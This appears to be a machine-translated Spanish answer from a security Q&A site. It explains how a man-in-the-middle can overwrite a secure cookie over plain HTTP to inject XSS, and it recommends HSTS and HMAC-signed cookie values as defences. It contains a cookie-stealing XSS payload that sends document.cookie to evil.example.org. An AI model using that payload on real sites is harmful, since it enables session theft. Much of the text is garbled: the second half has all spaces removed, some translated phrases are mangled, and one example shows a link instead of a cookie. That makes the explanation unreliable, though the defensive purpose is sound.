Normalmente estaría en lo correcto, sin embargo, no puede protegerse contra esta vulnerabilidad de MITM incluso si utiliza una cookie segura sobre SSL. Esta cookie aún podría ser MITM para inyectar XSS.
El informe de prueba de la pluma es correcto: el hecho de que el mecanismo XSS sea una cookie da lugar a la vulnerabilidad de MITM. Esto se debe a que la La misma política de origen para las cookies no trata a los diferentes protocolos y puertos por separado. orígenes:
las cookies tienen mecanismos de alcance que son más amplios y esencialmente incompatibles con las reglas de políticas del mismo origen (por ejemplo, como se indicó, no tienen la capacidad de restringir las cookies a un host o protocolo específico), a veces deshaciendo algunos mecanismos de compartimentación de seguridad de contenido que de otro modo serían posibles bajo las reglas de DOM.
Sin la funcionalidad de la cookie, la vulnerabilidad XSS se ha ido y también la vulnerabilidad MITM. Mi objetivo es explicar a continuación con un ejemplo.
Supongamos que escribió un enlace seguro a una cookie con un conjunto de indicadores seguro como
<a href="https://www.example.edu/">University Link</a>
El indicador de seguridad evitará que un MITM lea el valor de la cookie. Sin embargo, un atacante podría MITM cualquier otra conexión HTTP de la víctima a cualquier otro sitio y luego insertar su propia referencia de recursos a su sitio.
Es decir, diga que su víctima visita bbc.co.uk sobre HTTP simple. El MITM intercepta la solicitud HTTP a bbc.co.uk y agrega una solicitud de recurso JavaScript falsa en la página de su sitio, example.com .
<script src="http://example.com/whatever.js"></script>
EntoncespodríanMITMestasolicitud(porqueesHTTPsimple)einsertarunencabezadoSet-Cookieenlarespuesta.Paraquepuedanconfigurarlacookiea
<script>newImage().src='https://evil.example.org?cookie='+escape(document.cookie);</script>
parasobrescribirsucookiesegura.Debidoaqueelnavegadorestáconfigurandolacookiedesdesudominio,serálegibletantoenHTTPcomoenHTTPS.Cuandoelusuariovuelvaavisitarsupágina,estacookieseleeráyluegoseprocesaráenlapágina,yaqueelservidornotieneformadesaberqueestacookieseconfiguróatravésdeHTTP.Aunquelamarcadeseguridadestáconfiguradaensucookieoriginal,estacookiepuedesobrescribirlaycomoelservidorsoloobtienelosparesdenombre/valorynoelvalordelamarcadeseguridad,notieneformadesaberqueestacookieahorahasidoenvenenada..
HTTPStrictTransportSecuritypuedeprotegercontraesto,yaquelaconexiónHTTPsimpleseconvertiráautomáticamenteaHTTPSyluegoseráinmuneaMITMsiemprequelapolíticadeHSTSnocaduque.Además,susitioaúnseríavulnerableantesdequesuusuarioaccedaasusistemautilizandosunavegador,yaqueHSTSaúnnoseestableceráparasudominioamenosquelotengaenlalistaprecargada.Además,algunosnavegadorescomoInternetExploreraúnnoadmitenHSTS.
Enresumen,seríamejoralmacenarestosenlacesocualquiertextoquedeseequeserepresenteparaelladodelservidordelusuarioysimplementealmacenaruntokensegurodentrodelacookiequesepuedebuscarensubasededatos.EstoevitarácualquierataqueXSSutilizandolacookie.Nocifreelvalordelacookie,porquesihay pregunte las fallas criptográficas de Oracle en su sistema, esto podría dejar de funcionar. usted vulnerable Un mejor enfoque sería HMAC el código HTML en la cookie con una clave secreta del lado del servidor, y luego verificar que este MAC sea correcto antes de cualquier representación. Esto evitará que se inyecte cualquier código HTML establecido fuera de la aplicación.
También vea Seguridad de una redirección inicial de http://example.com a https://example.com